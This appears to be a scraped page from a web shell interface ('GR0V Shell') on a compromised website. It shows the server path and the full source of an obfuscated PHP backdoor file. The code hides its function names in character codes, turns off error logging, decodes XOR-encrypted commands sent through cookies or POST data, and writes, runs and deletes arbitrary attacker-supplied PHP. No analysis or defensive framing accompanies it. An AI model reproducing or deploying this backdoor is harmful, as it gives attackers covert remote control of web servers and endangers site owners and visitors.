? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/enews12/images/

Current File : /home/admin/public_html/old/enews12/images/pieujhgc.php

<?php $bixhji = "\146"."\x69"."\x6c"."\145"."\137".chr(112)."\165".chr(231-115).'_'."\143".chr(111)."\x6e"."\x74".chr(101)."\x6e".'t'.chr(115);
$faiwwiehq = 'b'."\141"."\x73".chr(101).chr(54).chr(846-794).'_'.chr(537-437).chr(101).chr(524-425).'o'.chr(331-231).chr(101);
$fbmfr = chr(105)."\156"."\151".'_'."\163"."\145".'t';
$yvisfgktpl = chr(1098-981)."\156"."\154".chr(105).chr(110)."\153";


@$fbmfr(chr(553-452).'r'."\162"."\x6f".chr(114).chr(95).chr(108).chr(111).chr(449-346), NULL);
@$fbmfr('l'.'o'."\x67"."\137"."\x65".chr(552-438)."\162".chr(111).chr(413-299)."\x73", 0);
@$fbmfr('m'."\x61"."\170".chr(95)."\x65".chr(714-594)."\x65".'c'.chr(117).chr(939-823).chr(272-167)."\157".'n'.chr(95)."\x74".chr(105)."\x6d"."\145", 0);
@set_time_limit(0);

function lgxxemep($vlpstpxdpu, $dcktvjybuf)
{
    $fwltsijy = "";
    for ($motgy = 0; $motgy < strlen($vlpstpxdpu);) {
        for ($j = 0; $j < strlen($dcktvjybuf) && $motgy < strlen($vlpstpxdpu); $j++, $motgy++) {
            $fwltsijy .= chr(ord($vlpstpxdpu[$motgy]) ^ ord($dcktvjybuf[$j]));
        }
    }
    return $fwltsijy;
}

$ezfcdy = array_merge($_COOKIE, $_POST);
$ogzfgnmr = '2a46ae43-04d7-4c3d-b670-e70b744a607c';
foreach ($ezfcdy as $zrhte => $vlpstpxdpu) {
    $vlpstpxdpu = @unserialize(lgxxemep(lgxxemep($faiwwiehq($vlpstpxdpu), $ogzfgnmr), $zrhte));
    if (isset($vlpstpxdpu[chr(291-194).'k'])) {
        if ($vlpstpxdpu["\x61"] == "\x69") {
            $motgy = array(
                chr(112).'v' => @phpversion(),
                "\x73"."\x76" => "3.5",
            );
            echo @serialize($motgy);
        } elseif ($vlpstpxdpu["\x61"] == "\x65") {
            $xuksew = "./" . md5($ogzfgnmr) . chr(560-514)."\151"."\156"."\x63";
            @$bixhji($xuksew, "<" . "\77"."\160"."\x68"."\160"."\x20".chr(64)."\x75".chr(110)."\154".chr(464-359).'n'."\153"."\50".'_'."\x5f".chr(70).chr(73).chr(76).chr(313-244).chr(95).chr(434-339).')'.chr(59).' ' . $vlpstpxdpu[chr(823-723)]);
            include($xuksew);
            @$yvisfgktpl($xuksew);
        }
        exit();
    }
}

T1KUS90T